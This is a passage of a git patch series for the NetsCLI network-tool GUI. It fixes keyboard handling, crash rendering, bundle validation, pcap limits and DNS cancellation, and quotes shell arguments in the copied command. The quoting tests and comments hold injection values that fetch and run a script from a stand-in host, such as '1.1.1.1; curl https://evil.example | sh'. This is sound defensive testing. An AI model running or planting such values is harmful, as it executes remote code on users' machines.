import { ToolForm } from '../tools/ToolForm'; import { CommandStrip } from './CommandStrip'; +import { RunAnnouncer } from './RunAnnouncer'; import type { ResultCellContext, ToolCapabilityMap, ToolKind } from '../../tools/types'; import type { PcapCapability } from '../../types/netscli'; import type { WorkspaceModel } from '../../workspace/types'; @@ -38,6 +39,7 @@ export function WorkspaceView({ return (
+ {activeTab ? ( <>
@@ -49,7 +51,11 @@ export function WorkspaceView({ />
- {activeTab.error &&
{activeTab.error}
} + {activeTab.error && ( +
+ {activeTab.error} +
+ )} {showWarning && warningKey ? ( Date: Wed, 7 Oct 2026 18:44:37 +0100 Subject: [PATCH 06/33] Keep Escape from stopping a run when it only closes a dialog or menu Escape cancelled the active run before checking whether anything was open. The About dialog, the update dialog and the context menus close from document keydown listeners that are added after the global one, so they run after it and the press had already stopped the run. Dismissing a menu mid-scan lost the scan. The cancel is now skipped while a dialog or menu is in the document. Found by reading the listener order, and the new test is the first one for this hook. --- .../src/hooks/useKeyboardShortcuts.test.tsx | 54 +++++++++++++++++++ .../src/hooks/useKeyboardShortcuts.ts | 6 +++ 2 files changed, 60 insertions(+) create mode 100644 apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx diff --git a/apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx new file mode 100644 index 00000000..e61b7411 --- /dev/null +++ b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.test.tsx @@ -0,0 +1,54 @@ +// @vitest-environment jsdom +// +// Escape has two meanings here: stop the run, and close whatever is open. The +// run must only be stopped when nothing is open, because the close is done by +// a listener that runs after this one and would otherwise find a run already +// cancelled and the user none the wiser about why. + +import { renderHook } from '@testing-library/react'; +import { afterEach, describe, expect, it, vi } from 'vitest'; + +import { createTab } from '../tools/registry'; +import { useKeyboardShortcuts } from './useKeyboardShortcuts'; + +function mountWithRunningTab() { + const cancelTab = vi.fn(() => Promise.resolve()); + const workspace = { activeTab: { ...createTab('scan'), busy: true }, cancelTab } as never; + renderHook(() => + useKeyboardShortcuts({ + focusResultFilter: vi.fn(), + openMenu: null, + requestRun: vi.fn(), + setOpenMenu: vi.fn(), + setSettingsOpen: vi.fn(), + settingsOpen: false, + setWorkspaceSearchOpen: vi.fn(), + workspace, + workspaceSearchOpen: false, + }), + ); + return cancelTab; +} + +function pressEscape() { + document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true, cancelable: true })); +} + +afterEach(() => { + document.body.innerHTML = ''; +}); + +describe('Escape while a run is active', () => { + it('stops the run when nothing else is open', () => { + const cancelTab = mountWithRunningTab(); + pressEscape(); + expect(cancelTab).toHaveBeenCalledTimes(1); + }); + + it.each(['dialog', 'menu'])('leaves the run alone while a %s is open', (role) => { + const cancelTab = mountWithRunningTab(); + document.body.innerHTML = `
`; + pressEscape(); + expect(cancelTab).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts index 0880ab9f..d62dda94 100644 --- a/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts +++ b/apps/netscli-gui/src/hooks/useKeyboardShortcuts.ts @@ -92,6 +92,12 @@ export function useKeyboardShortcuts({ } if (event.key === 'Escape' && activeTab.busy) { + // The press belongs to whatever is open on top of the run. Dialogs and + // menus close themselves from their own `document` listeners, which + // are added after this one and so run after it, still looking at an + // unhandled Escape. Without this, dismissing the About dialog or a + // context menu stopped the scan underneath it. + if (document.querySelector('[role="dialog"], [role="menu"]')) return; event.preventDefault(); void workspace.cancelTab(activeTab.id); return; From 7ac34d8b618e89d1e309ad003e039e6b2088853e Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:45:35 +0100 Subject: [PATCH 07/33] Tell the user the app closes while an update installs On Windows the updater plugin exits the app right after it starts msiexec. If UAC is declined or the installer fails, no app is running and nothing says so. The update dialog now says that NetsCLI closes to finish, that it should reopen by itself, and to open it again if it does not. The real fix for the declined-UAC case is a per-user install, which is tracked as #512. --- apps/netscli-gui/src/components/shell/UpdateDialog.tsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/apps/netscli-gui/src/components/shell/UpdateDialog.tsx b/apps/netscli-gui/src/components/shell/UpdateDialog.tsx index 341c807c..1362ed20 100644 --- a/apps/netscli-gui/src/components/shell/UpdateDialog.tsx +++ b/apps/netscli-gui/src/components/shell/UpdateDialog.tsx @@ -76,7 +76,8 @@ export function UpdateDialog({

NetsCLI {version} is available

You have {currentVersion}. The update is checked against NetsCLI's signing key - before it installs, and the app restarts to finish. + before it installs. NetsCLI closes to finish and should reopen by itself. If it does + not, open it again.

- - ); + return ; } } diff --git a/apps/netscli-gui/src/components/shell/CrashScreen.tsx b/apps/netscli-gui/src/components/shell/CrashScreen.tsx new file mode 100644 index 00000000..b97e51b9 --- /dev/null +++ b/apps/netscli-gui/src/components/shell/CrashScreen.tsx @@ -0,0 +1,39 @@ +import { appWindowAction } from '../../services/appWindow'; +import { AppFrame } from './AppFrame'; +import { handleAppFrameMouseDown } from './appFrameDrag'; + +/** + * What replaces the window when a render throws. See `ErrorBoundary`. + * + * Two things the first version of this lacked, both from the same cause: it + * renders where nothing of the app is mounted. + * + * The colour tokens are defined on `.container` alone, so outside it the text + * took the operating system's colour on a page that is dark whatever the + * theme, which is black on near-black for anyone on a light theme. And the + * window has no native title bar (`decorations: false`), so with the app's own + * frame gone there was nothing to move, minimise or close it with. + */ +export function CrashScreen({ error }: { error: Error }) { + return ( +
+ void appWindowAction(action)} + > + {null} + +
+

Something went wrong

+

+ The window stopped rendering and could not recover. Reloading starts a fresh session; any + results still open will be lost. +

+ 
{error.message}
+ +
+
+ ); +} diff --git a/apps/netscli-gui/src/styles/error-boundary.css b/apps/netscli-gui/src/styles/error-boundary.css index e531e25a..6bc84812 100644 --- a/apps/netscli-gui/src/styles/error-boundary.css +++ b/apps/netscli-gui/src/styles/error-boundary.css @@ -4,15 +4,18 @@ shell rather than styling anything inside it, and results.css was at its size cap with a note asking for exactly this kind of split. */ -/* Replaces the entire window when a render throws, so it carries its own - background rather than inheriting one from a shell that is no longer - mounted. */ +/* Replaces the entire window when a render throws. CrashScreen wraps it in a + `.container`, which is what supplies the colour tokens used below, and puts + the window frame above it, so it fills the rest of the window and scrolls + rather than being 100vh tall. */ .error-boundary { display: flex; + flex: 1 1 auto; flex-direction: column; gap: 12px; align-items: flex-start; - min-height: 100vh; + min-height: 0; + overflow: auto; padding: 32px; color: var(--text-primary); background: var(--bg-body); diff --git a/apps/netscli-gui/src/workspace/transfer.test.ts b/apps/netscli-gui/src/workspace/transfer.test.ts index d892a9dc..233ea3ea 100644 --- a/apps/netscli-gui/src/workspace/transfer.test.ts +++ b/apps/netscli-gui/src/workspace/transfer.test.ts @@ -51,6 +51,21 @@ describe('parseResultBundle', () => { expect(() => parseResultBundle(bundle({ result: { kind: 'scan', data: [] } }))).not.toThrow(); }); + // An array of objects passes every shape check, and then `buildRows` read + // `service.addresses.join` during render and the window went to the crash + // screen. Opening a shared bundle must not be able to do that. + it('rejects data the screen could not draw', () => { + const service = { service_type: '_http._tcp', hostname: 'a.local', port: 80, full_name: 'a' }; + expect(() => + parseResultBundle(bundle({ kind: 'mdns', result: { kind: 'mdns', data: [service] } })), + ).toThrow(/mdns is missing fields/i); + + const whole = { ...service, addresses: ['192.168.1.5'] }; + expect(() => + parseResultBundle(bundle({ kind: 'mdns', result: { kind: 'mdns', data: [whole] } })), + ).not.toThrow(); + }); + it('rejects pcap data without packets', () => { expect(() => parseResultBundle(bundle({ kind: 'pcap', result: { kind: 'pcap', data: {} } }))).toThrow( /pcap data must include packets/i, diff --git a/apps/netscli-gui/src/workspace/transfer.ts b/apps/netscli-gui/src/workspace/transfer.ts index 28cae850..79e46b37 100644 --- a/apps/netscli-gui/src/workspace/transfer.ts +++ b/apps/netscli-gui/src/workspace/transfer.ts @@ -1,6 +1,6 @@ import type { ToolKind, ResultColumn, ResultRow, WorkspaceTab } from '../tools/types'; import type { ToolResult } from '../types/app'; -import { serializeRowsAsCsv } from '../tools/presentation'; +import { buildRows, resultSummary, serializeRowsAsCsv } from '../tools/presentation'; import { TOOL_KINDS } from '../tools/registry'; import { downloadText } from './toolExecution'; @@ -83,6 +83,7 @@ export function parseResultBundle(value: unknown): ResultBundle { throw new Error('Result bundle kind does not match its result payload'); } validateResultDataShape(bundle.kind, result.data); + rejectUndrawableResult(bundle.kind, bundle.result as ToolResult); return { schema: RESULT_BUNDLE_SCHEMA, exportedAt: typeof bundle.exportedAt === 'string' ? bundle.exportedAt : new Date().toISOString(), @@ -171,6 +172,25 @@ function isToolKind(value: string): value is ToolKind { return (TOOL_KINDS as readonly string[]).includes(value); } +/** + * Run what the screen is about to run, so a bundle that would crash it is + * refused here with a message instead. + * + * `validateResultDataShape` only checks what its author thought of. A field the + * row builders read and a damaged or hand-edited bundle lacks (`addresses` on + * an mDNS service) threw inside a `useMemo` during render, past every catch, + * and ended up on the crash screen. The builders are pure, so running them + * finds every such field, including the ones nobody has added yet. + */ +function rejectUndrawableResult(kind: ToolKind, result: ToolResult) { + try { + buildRows(result); + resultSummary(result); + } catch { + throw new Error(`Result bundle data for ${kind} is missing fields NetsCLI needs to show it`); + } +} + function validateResultDataShape(kind: ToolKind, data: unknown) { if ( kind === 'scan' || From e70d3263f61ddce35bbc3be50964935fe48695d6 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:54:05 +0100 Subject: [PATCH 10/33] Quote every value in the copied command so a bundle cannot plant a shell fragment The command shown in the strip, copied with the button or Ctrl+Shift+C, and recorded in History is built from the tab's form values. Opening a result bundle merges its form strings into the tab without checking them, so a host of '1.1.1.1; curl ... | sh' reached the clipboard as a working command. The audit named host, subnet, ports and interface, but the numeric fields (count, max hops, timeouts) and the capture filter went through the same unquoted interpolation. buildCommand now passes every value through one helper. Plain values (hosts, ports, subnets, numbers) come out exactly as before. A value with spaces or shell syntax becomes one double-quoted argument, which keeps it a single argument in bash, PowerShell and cmd. A value containing a character no quoting makes safe for all three ($, backtick, a double quote, %, !, a control character, a trailing backslash) is left out like an empty one. That changes one earlier behaviour on purpose. A capture filter containing a double quote used to be escaped with a backslash, which is wrong in PowerShell, and is now left out of the preview. --- .../src/tools/presentation.test.ts | 30 ++++++- .../src/tools/presentation/commands.ts | 79 +++++++++++++------ 2 files changed, 82 insertions(+), 27 deletions(-) diff --git a/apps/netscli-gui/src/tools/presentation.test.ts b/apps/netscli-gui/src/tools/presentation.test.ts index b034f7c9..959c7cc1 100644 --- a/apps/netscli-gui/src/tools/presentation.test.ts +++ b/apps/netscli-gui/src/tools/presentation.test.ts @@ -115,11 +115,37 @@ describe('buildCommand', () => { expect(buildCommand(scan)).toBe('netscli scan router.local --json'); }); - it('escapes quotes in a capture filter so the preview stays paste-able', () => { + // The command is copied from the strip, every value in it comes from the + // form, and a result bundle can fill the form with anything. A host of + // `1.1.1.1; curl ... | sh` used to be one click from the clipboard as a + // working command. + it('keeps a value with shell syntax in it to a single quoted argument', () => { + const scan = createTab('scan'); + scan.form.host = '1.1.1.1; curl https://evil.example | sh'; + expect(buildCommand(scan)).toBe('netscli scan "1.1.1.1; curl https://evil.example | sh" -p 22,80,443 --json'); + + const ping = createTab('ping'); + ping.form.host = 'router.local'; + ping.form.count = '4 && calc'; + expect(buildCommand(ping)).toBe('netscli ping router.local --count "4 && calc" --json'); + }); + + it('leaves out a value that no quoting makes safe', () => { + const scan = createTab('scan'); + scan.form.host = '$(curl https://evil.example | sh)'; + scan.form.ports = '80`id`'; + expect(buildCommand(scan)).toBe('netscli scan --json'); + const pcap = createTab('pcap'); pcap.form.interface = 'eth0'; pcap.form.filter = 'host "example"'; - expect(buildCommand(pcap)).toContain('--filter "host \\"example\\""'); + expect(buildCommand(pcap)).toBe('netscli pcap --interface eth0 --duration 10 --max-packets 1000 --json'); + }); + + it('quotes a name with spaces so the preview stays paste-able', () => { + const pcap = createTab('pcap'); + pcap.form.interface = 'vEthernet (WSL)'; + expect(buildCommand(pcap)).toContain('--interface "vEthernet (WSL)"'); }); }); diff --git a/apps/netscli-gui/src/tools/presentation/commands.ts b/apps/netscli-gui/src/tools/presentation/commands.ts index 0c67f76c..768ce74c 100644 --- a/apps/netscli-gui/src/tools/presentation/commands.ts +++ b/apps/netscli-gui/src/tools/presentation/commands.ts @@ -1,6 +1,41 @@ import { scanRequest } from '../scanRequest'; import type { WorkspaceTab } from '../types'; +/** Characters that never need quoting in any shell. */ +const PLAIN = /^[\w@+=:,./-]+$/; + +/** + * Characters that cannot be quoted safely for every shell this might be pasted + * into. `$` and the backtick expand inside double quotes in bash and + * PowerShell, a `"` ends the string in all of them, `%` and `!` expand in cmd + * and bash, and a trailing backslash escapes the closing quote. + */ +const UNQUOTABLE = /[$`"%!\u0000-\u001f\u007f]|\\$/; + +/** + * A form value as one argument of the copied command, or '' when it cannot be + * made one. + * + * The command is shown in the strip and copied from it, and every value in it + * comes from the form, which a shared result bundle can fill with anything. A + * host of `1.1.1.1; curl https://evil.example | sh` used to be one click from + * the clipboard as a working command. Now it comes out as a single quoted + * argument, and a value that cannot be quoted is left out like an empty one, + * so the command that is shown never contains anything a shell would act on. + */ +function arg(raw: string | undefined): string { + const value = raw?.trim() ?? ''; + if (PLAIN.test(value)) return value; + if (!value || UNQUOTABLE.test(value)) return ''; + return `"${value}"`; +} + +/** ` --name value`, or nothing when there is no value to pass. */ +function flag(name: string, raw: string | undefined): string { + const value = arg(raw); + return value ? ` ${name} ${value}` : ''; +} + export function buildCommand(tab: WorkspaceTab): string { const form = tab.form; switch (tab.kind) { @@ -14,34 +49,36 @@ export function buildCommand(tab: WorkspaceTab): string { // menu recorded, and what got stored with the saved result. { const { ports, udp } = scanRequest(form); - return `netscli scan ${form.host || ''}${ports ? ` -p ${ports}` : ''}${udp ? ' --udp' : ''} --json`; + return `netscli scan ${arg(form.host) || ''}${flag('-p', ports)}${udp ? ' --udp' : ''} --json`; } case 'ping': - return `netscli ping ${form.host || ''}${form.count ? ` --count ${form.count}` : ''} --json`; + return `netscli ping ${arg(form.host) || ''}${flag('--count', form.count)} --json`; case 'trace': { const resolve = form.resolve === 'On' ? ' --resolve' : ''; - return `netscli trace ${form.host || ''}${form.max_hops ? ` --max-hops ${form.max_hops}` : ''}${resolve} --json`; + return `netscli trace ${arg(form.host) || ''}${flag('--max-hops', form.max_hops)}${resolve} --json`; + } + case 'discover': { + const subnet = arg(form.subnet); + return `netscli discover${subnet ? ` ${subnet}` : ''} --resolve --json`; } - case 'discover': - return `netscli discover${form.subnet ? ` ${form.subnet}` : ''} --resolve --json`; case 'dns': { - const record = form.record && form.record !== 'ALL' ? ` --record ${form.record}` : ''; - return `netscli dns ${form.host || ''}${record} --json`; + const record = flag('--record', form.record === 'ALL' ? '' : form.record); + return `netscli dns ${arg(form.host) || ''}${record} --json`; } case 'reverse': - return `netscli reverse ${form.ip || ''} --json`; + return `netscli reverse ${arg(form.ip) || ''} --json`; case 'inspect': - return `netscli inspect ${form.host || ''}${form.ports ? ` -p ${form.ports}` : ''} --json`; - case 'sweep': - return `netscli sweep${form.subnet ? ` ${form.subnet}` : ''}${form.ports ? ` -p ${form.ports}` : ''} --resolve --json`; + return `netscli inspect ${arg(form.host) || ''}${flag('-p', form.ports)} --json`; + case 'sweep': { + const subnet = arg(form.subnet); + return `netscli sweep${subnet ? ` ${subnet}` : ''}${flag('-p', form.ports)} --resolve --json`; + } case 'mdns': { const types = form.service_types ?.split(',') - .map((item) => item.trim()) - .filter(Boolean) - .map((item) => ` --type ${item}`) + .map((item) => flag('--type', item)) .join('') ?? ''; - const timeout = form.timeout_ms && form.timeout_ms !== '3000' ? ` --timeout-ms ${form.timeout_ms}` : ''; + const timeout = form.timeout_ms !== '3000' ? flag('--timeout-ms', form.timeout_ms) : ''; return `netscli mdns${timeout}${types} --json`; } case 'interfaces': @@ -50,19 +87,11 @@ export function buildCommand(tab: WorkspaceTab): string { return 'netscli arp --json'; case 'pcap': { if (form.mode === 'Open File') { - return `netscli pcap --read ${form.max_packets ? ` --max-packets ${form.max_packets}` : ''} --json`; + return `netscli pcap --read ${flag('--max-packets', form.max_packets)} --json`; } - const parts = ['netscli pcap']; - if (form.interface) parts.push(`--interface ${form.interface}`); - if (form.duration) parts.push(`--duration ${form.duration}`); - // Escape quotes rather than interpolating raw: a BPF filter containing - // a double quote produced a preview that would not parse if pasted. - if (form.filter) parts.push(`--filter "${form.filter.replace(/"/g, '\\"')}"`); - if (form.max_packets) parts.push(`--max-packets ${form.max_packets}`); // The capture branch omitted --json while every other command here // includes it, so this one preview did not match what the app runs. - parts.push('--json'); - return parts.join(' '); + return `netscli pcap${flag('--interface', form.interface)}${flag('--duration', form.duration)}${flag('--filter', form.filter)}${flag('--max-packets', form.max_packets)} --json`; } } } From e607ba8afab994ee4acd67f246a92e9c7f9a9ddb Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:56:01 +0100 Subject: [PATCH 11/33] Cap how many packets opening a capture reads when the Packets field is empty Clearing the Packets field sent no limit to open_pcap_file. The core then summarised every packet up to its ten million ceiling and returned them all as one JSON value, while the progress text said it was parsing up to 1000. The import now reads 1000 when the field is empty and never more than the field's own maximum of 100000. This only matters in builds made with --features pcap, which the published installers are not. The audit also suggested an operation id so Stop works on an import. That is not done. run_json_operation can only abort the async task, and parsing a file is blocking work that an abort does not stop, so Stop would have looked like it worked while the parse carried on. --- .../src/commands/operations/capture.rs | 36 ++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs b/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs index c11ebf84..8e7ca138 100644 --- a/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs +++ b/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs @@ -8,6 +8,20 @@ use crate::state::{ArtifactRegistry, OperationManager}; const MAX_GUI_PCAP_IMPORT_BYTES: u64 = 512 * 1024 * 1024; +/// What opening a capture reads when the Packets field is empty, and the most +/// it reads whatever that field says: the field's placeholder and its maximum +/// in registry.ts. Without a limit the core summarises every packet up to ten +/// million and hands them all back as one JSON value, while the progress text +/// says "up to 1000". +const DEFAULT_GUI_PCAP_IMPORT_PACKETS: usize = 1000; +const MAX_GUI_PCAP_IMPORT_PACKETS: usize = 100_000; + +fn import_packet_limit(requested: Option) -> usize { + requested + .unwrap_or(DEFAULT_GUI_PCAP_IMPORT_PACKETS) + .min(MAX_GUI_PCAP_IMPORT_PACKETS) +} + #[derive(serde::Serialize)] pub(crate) struct PcapCapability { compiled: bool, @@ -89,8 +103,28 @@ pub(crate) async fn open_pcap_file( let ops = Ops::default(); let parsed = ops - .parse_pcap_file(path.display().to_string(), max_packets) + .parse_pcap_file( + path.display().to_string(), + Some(import_packet_limit(max_packets)), + ) .map_err(|e| e.to_string())?; artifact_registry.register(&path)?; serde_json::to_value(parsed).map_err(|e| e.to_string()) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn an_empty_packets_field_does_not_mean_every_packet() { + assert_eq!(import_packet_limit(None), 1000); + } + + #[test] + fn a_requested_limit_is_kept_up_to_the_fields_maximum() { + assert_eq!(import_packet_limit(Some(50)), 50); + assert_eq!(import_packet_limit(Some(100_000)), 100_000); + assert_eq!(import_packet_limit(Some(10_000_000)), 100_000); + } +} From 38789bfba544281afd20e25c5eb735f730dcf444 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 19:00:04 +0100 Subject: [PATCH 12/33] Match control characters with a Unicode property so the quoting helper passes lint The control-character range in the command quoting helper tripped no-control-regex. \p{Cc} matches the same characters, and C1 controls as well. --- apps/netscli-gui/src/tools/presentation/commands.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/netscli-gui/src/tools/presentation/commands.ts b/apps/netscli-gui/src/tools/presentation/commands.ts index 768ce74c..e00cc820 100644 --- a/apps/netscli-gui/src/tools/presentation/commands.ts +++ b/apps/netscli-gui/src/tools/presentation/commands.ts @@ -10,7 +10,7 @@ const PLAIN = /^[\w@+=:,./-]+$/; * PowerShell, a `"` ends the string in all of them, `%` and `!` expand in cmd * and bash, and a trailing backslash escapes the closing quote. */ -const UNQUOTABLE = /[$`"%!\u0000-\u001f\u007f]|\\$/; +const UNQUOTABLE = /[$`"%!\p{Cc}]|\\$/u; /** * A form value as one argument of the copied command, or '' when it cannot be From 7a46fbf18c51a0a8c8bea56dcb24aa40823c9552 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 19:00:12 +0100 Subject: [PATCH 13/33] Stop DNS Lookup ALL from asking for the rest of the record types after Stop DNS Lookup with record ALL makes ten backend calls one after another under its run's operation id. Stop aborts the call that is registered, and between two calls there is none, so a Stop that landed there cancelled nothing and the loop went on to ask for every record type that was left. A run replaced by a newer one did the same. executeTool now takes an isCurrent callback, which runWorkspaceTab answers from its own bookkeeping, and the loop stops when it turns false. The audit suggested minting an id per call. That would leave Stop aimed at an id nobody registered, so the id stays shared. The two Rust comments that said op ids are unique per run now name this exception and what a late removal could do to it, which is lose one Stop for one lookup. --- .../src-tauri/src/commands/operations/mod.rs | 7 +++++ apps/netscli-gui/src-tauri/src/state.rs | 6 ++-- .../src/workspace/operations.test.ts | 29 +++++++++++++++++++ apps/netscli-gui/src/workspace/operations.ts | 7 ++++- .../src/workspace/toolExecution.test.ts | 20 +++++++++++++ .../src/workspace/toolExecution.ts | 12 ++++++-- 6 files changed, 76 insertions(+), 5 deletions(-) diff --git a/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs b/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs index 2663b53b..5668052c 100644 --- a/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs +++ b/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs @@ -219,6 +219,13 @@ impl Drop for RemoveOnDrop { // `Drop` cannot await, so the removal is spawned. Nothing waits on // the entry being gone -- op ids are unique per run, so a late // removal cannot strand a later operation. + // + // DNS Lookup with record type ALL is the exception: it reuses its + // id for ten calls in a row. A removal that ran after the next call + // had registered would take that call's entry, and Stop would find + // nothing to abort for it. This removal is spawned as one call ends + // and the next has to cross the IPC boundary to arrive, so that order + // is not expected, and the cost would be one lookup that Stop missed. let registry = Arc::clone(&self.registry); let op_id = std::mem::take(&mut self.op_id); tauri::async_runtime::spawn(async move { diff --git a/apps/netscli-gui/src-tauri/src/state.rs b/apps/netscli-gui/src-tauri/src/state.rs index b80ea3f8..c6e15f42 100644 --- a/apps/netscli-gui/src-tauri/src/state.rs +++ b/apps/netscli-gui/src-tauri/src/state.rs @@ -59,8 +59,10 @@ impl OperationManager { /// sender either way. /// /// `register` also aborts a task when an op id is re-used, which would - /// look the same. Op ids are UUIDs minted per run (`generateId('op')`), so - /// that path is unreachable in practice. + /// look the same. Op ids are UUIDs minted per run (`generateId('op')`), + /// with one exception: DNS Lookup with record type ALL makes ten calls, + /// one after another, under its run's id. Each is finished before the next + /// is sent, so none replaces a live entry. pub(crate) async fn is_registered(&self, op_id: &str) -> bool { self.tasks.lock().await.contains_key(op_id) } diff --git a/apps/netscli-gui/src/workspace/operations.test.ts b/apps/netscli-gui/src/workspace/operations.test.ts index 801cc67f..54ee8925 100644 --- a/apps/netscli-gui/src/workspace/operations.test.ts +++ b/apps/netscli-gui/src/workspace/operations.test.ts @@ -101,6 +101,35 @@ describe('runWorkspaceTab op-id race guard', () => { expect(activeOps.current[tab.id]).toBeUndefined(); }); + it('tells a run made of several calls when it has been stopped', async () => { + // DNS Lookup "ALL" asks the backend ten times in a row. Stop only reaches + // the call in flight, so the loop has to be able to see it for itself. + const { executeTool } = await import('./toolExecution'); + const activeOps = { current: {} as Record }; + const tab = createTab('dns'); + tab.form.host = 'netscli.com'; + const seen: boolean[] = []; + vi.mocked(executeTool).mockImplementation(async (_tab, _opId, _probes, isCurrent) => { + seen.push(isCurrent?.() ?? true); + delete activeOps.current[tab.id]; // what cancelWorkspaceTab does first + seen.push(isCurrent?.() ?? true); + return scanResult(); + }); + + await runWorkspaceTab({ + activeOps, + isTabActive: () => true, + maxConcurrentProbes: 256, + patchTab: vi.fn(), + persistentHistory: false, + setHistory: vi.fn(), + showToast: vi.fn(), + tab, + }); + + expect(seen).toEqual([true, false]); + }); + it('clears busy state and shows an error toast when execution fails', async () => { const { executeTool } = await import('./toolExecution'); vi.mocked(executeTool).mockRejectedValue(new Error('boom')); diff --git a/apps/netscli-gui/src/workspace/operations.ts b/apps/netscli-gui/src/workspace/operations.ts index c3e5a256..3774f309 100644 --- a/apps/netscli-gui/src/workspace/operations.ts +++ b/apps/netscli-gui/src/workspace/operations.ts @@ -60,7 +60,12 @@ export async function runWorkspaceTab({ }); try { - const result = await executeTool(tab, opId, maxConcurrentProbes); + const result = await executeTool( + tab, + opId, + maxConcurrentProbes, + () => activeOps.current[tab.id] === opId, + ); if (activeOps.current[tab.id] !== opId) return; patchTab(tab.id, { result, diff --git a/apps/netscli-gui/src/workspace/toolExecution.test.ts b/apps/netscli-gui/src/workspace/toolExecution.test.ts index 4725f4e8..09b47795 100644 --- a/apps/netscli-gui/src/workspace/toolExecution.test.ts +++ b/apps/netscli-gui/src/workspace/toolExecution.test.ts @@ -100,6 +100,26 @@ describe('executeTool DNS "ALL" aggregation', () => { await expect(executeTool(tab, 'op-4', 256)).rejects.toThrow(/cancelled/i); }); + + // Stop reaches a backend call that is in flight. Between two of the ten + // there is none, so a Stop that lands there cancelled nothing and the loop + // went on to ask for every record type that was left. + it('stops asking for record types once the run is no longer current', async () => { + const netscli = await import('../services/netscli'); + let asked = 0; + vi.mocked(netscli.dnsLookup).mockImplementation(async () => { + asked += 1; + return []; + }); + + const tab = createTab('dns'); + tab.form.host = 'netscli.com'; + tab.form.record = 'ALL'; + + // Stopped after the third call has been made. + await expect(executeTool(tab, 'op-5', 256, () => asked < 3)).rejects.toThrow(/cancelled/i); + expect(asked).toBe(3); + }); }); // The mDNS timeout was the one numeric field sent to the backend without the diff --git a/apps/netscli-gui/src/workspace/toolExecution.ts b/apps/netscli-gui/src/workspace/toolExecution.ts index 62ed9510..0ae26bef 100644 --- a/apps/netscli-gui/src/workspace/toolExecution.ts +++ b/apps/netscli-gui/src/workspace/toolExecution.ts @@ -38,6 +38,9 @@ export async function executeTool( tab: WorkspaceTab, opId: string, maxConcurrentProbes: number, + /** False once this run has been stopped or replaced. Only a run made of + * several backend calls one after another needs it. */ + isCurrent: () => boolean = () => true, ): Promise { if (!isTauri()) { throw new Error("Tauri backend not available. Run 'npm run tauri dev' to execute tools."); @@ -77,7 +80,7 @@ export async function executeTool( ), }; case 'dns': - return executeDns(tab, opId); + return executeDns(tab, opId, isCurrent); case 'reverse': return { kind: 'reverse', @@ -157,7 +160,7 @@ function serviceTypes(value: string | undefined): string[] | undefined { return items && items.length > 0 ? items : undefined; } -async function executeDns(tab: WorkspaceTab, opId: string): Promise { +async function executeDns(tab: WorkspaceTab, opId: string, isCurrent: () => boolean): Promise { const host = tab.form.host.trim(); const record = tab.form.record?.trim().toUpperCase(); @@ -171,7 +174,12 @@ async function executeDns(tab: WorkspaceTab, opId: string): Promise const data: DnsRecord[] = []; const failures: string[] = []; + // The one run that makes several backend calls, one after another, under a + // single operation id. Stop reaches the call that is in flight, and between + // two calls there is none, so a Stop that lands there cancels nothing and + // the loop would go on to ask for the rest. for (const recordType of DNS_ALL_RECORDS) { + if (!isCurrent()) throw new Error('Operation cancelled'); try { data.push(...await netscli.dnsLookup(host, recordType, opId)); } catch (error) { From 34bb3d46304529777208284fe0d5de573af9f356 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 19:02:14 +0100 Subject: [PATCH 14/33] Apply rustfmt to open_result_bundle The signature fits on one line, which cargo fmt --check wants. --- apps/netscli-gui/src-tauri/src/commands/files/export.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/apps/netscli-gui/src-tauri/src/commands/files/export.rs b/apps/netscli-gui/src-tauri/src/commands/files/export.rs index 3f38371e..a314bcc0 100644 --- a/apps/netscli-gui/src-tauri/src/commands/files/export.rs +++ b/apps/netscli-gui/src-tauri/src/commands/files/export.rs @@ -61,9 +61,7 @@ pub(crate) async fn save_result_bundle( } #[tauri::command] -pub(crate) async fn open_result_bundle( - app: tauri::AppHandle, -) -> Result { +pub(crate) async fn open_result_bundle(app: tauri::AppHandle) -> Result { let picker = app .dialog() .file() From dee41188cca02ba53fcc0707b74d12df5fa904af Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 19:02:20 +0100 Subject: [PATCH 15/33] Read a damaged save-settings file as the defaults and write it atomically A gui-save-settings.json that did not parse made every export and capture fail until the file was deleted by hand. Each of them reads the settings first, and so did every Settings control, so the controls could not repair it either. A file that does not parse now reads as the defaults, which lets the next change write a good one over it. The cost is that a save folder the user had chosen is forgotten, which beats nothing being saveable. The write goes to a temporary file beside the settings and is renamed over them, so an interruption leaves the old settings rather than a truncated file. --- .../src/commands/files/preferences.rs | 84 +++++++++++++++++-- 1 file changed, 79 insertions(+), 5 deletions(-) diff --git a/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs b/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs index ee8e96ec..c3e82ac0 100644 --- a/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs +++ b/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs @@ 